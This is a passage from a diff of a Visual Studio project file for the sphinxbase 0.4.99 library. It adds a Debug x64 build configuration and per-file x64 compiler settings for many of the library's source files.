+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+				CommandLine=""
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				PreprocessorDefinitions="_DEBUG"
+				MkTypLibCompatible="true"
+				SuppressStartupBanner="true"
+				TargetEnvironment="3"
+				TypeLibraryName=".\../../lib/Debug/sphinxbase.tlb"
+				HeaderFileName=""
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="&quot;..\..\sphinxbase-0.4.99\include\win32&quot;;&quot;..\..\sphinxbase-0.4.99\include&quot;"
+				PreprocessorDefinitions="_DEBUG;WIN32;_WINDOWS;_USRDLL;SPHINXBASE_EXPORTS;HAVE_CONFIG_H;SPHINXDLL;_CRT_SECURE_NO_DEPRECATE"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				PrecompiledHeaderFile=".\Debug/sphinxbase.pch"
+				WarningLevel="0"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="_DEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="winmm.lib"
+				OutputFile="$(OutDir)\$(ProjectName).dll"
+				LinkIncremental="2"
+				SuppressStartupBanner="true"
+				AdditionalLibraryDirectories="..\..\..\Debug"
+				GenerateDebugInformation="true"
+				ProgramDatabaseFile=".\../../lib/Debug/sphinxbase.pdb"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\../../lib/Debug/sphinxbase.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -220,6 +401,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -228,6 +418,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\util\bio.c"
@@ -242,6 +441,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -250,6 +458,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\util\bitvec.c"
@@ -264,6 +481,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -272,6 +498,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\util\blas_lite.c"
@@ -286,6 +521,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -294,6 +538,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\util\case.c"
@@ -308,6 +561,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -316,6 +578,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\util\ckd_alloc.c"
@@ -330,6 +601,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -338,6 +618,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\util\cmd_ln.c"
@@ -352,6 +641,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -360,6 +658,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\feat\cmn.c"
@@ -374,6 +681,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -382,6 +698,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\feat\cmn_prior.c"
@@ -396,6 +721,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -404,6 +738,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxad\cont_ad_base.c"
@@ -418,6 +761,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -426,6 +778,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\util\dtoa.c"
@@ -444,6 +805,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -452,6 +822,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\util\f2c_lite.c"
@@ -466,6 +845,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -474,6 +862,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\fe\fe_interface.c"
@@ -488,6 +885,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -496,6 +902,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\fe\fe_sigproc.c"
@@ -510,6 +925,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -518,6 +942,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\fe\fe_warp.c"
@@ -532,6 +965,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -540,6 +982,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\fe\fe_warp_affine.c"
@@ -554,6 +1005,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -562,6 +1022,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\fe\fe_warp_inverse_linear.c"
@@ -576,6 +1045,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -584,6 +1062,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\fe\fe_warp_piecewise_linear.c"
@@ -598,6 +1085,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -606,6 +1102,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\feat\feat.c"
@@ -620,6 +1125,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -628,6 +1142,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\util\filename.c"
@@ -642,6 +1165,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -650,6 +1182,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\fe\fixlog.c"
@@ -664,6 +1205,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -672,6 +1222,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\lm\fsg_model.c"
@@ -690,6 +1249,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -698,6 +1266,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\util\glist.c"
@@ -712,6 +1289,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -720,6 +1306,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\util\hash_table.c"
@@ -734,6 +1329,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -742,6 +1346,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\util\heap.c"
@@ -756,6 +1369,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -764,6 +1386,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\util\info.c"
@@ -778,6 +1409,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -786,6 +1426,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\lm\jsgf.c"
@@ -812,6 +1461,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -820,6 +1478,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\util\listelem_alloc.c"
@@ -846,6 +1513,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -854,6 +1530,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\util\mmio.c"
@@ -892,6 +1577,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -900,6 +1594,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxad\play_win32.c"
@@ -914,6 +1617,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -922,6 +1634,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\util\profile.c"
@@ -936,6 +1657,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -944,6 +1674,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxad\rec_win32.c"
@@ -958,6 +1697,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -966,6 +1714,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\util\sbthread.c"
@@ -984,6 +1741,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -992,6 +1758,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\util\slapack_lite.c"
@@ -1006,6 +1781,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -1014,6 +1798,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\util\strfuncs.c"
@@ -1028,6 +1821,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -1036,6 +1838,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\sphinxbase-0.4.99\src\libsphinxbase\util\unlimit.c"
@@ -1050,6 +1861,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Debug|Win32"
 					>
 					<Tool
@@ -1058,6 +1878,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
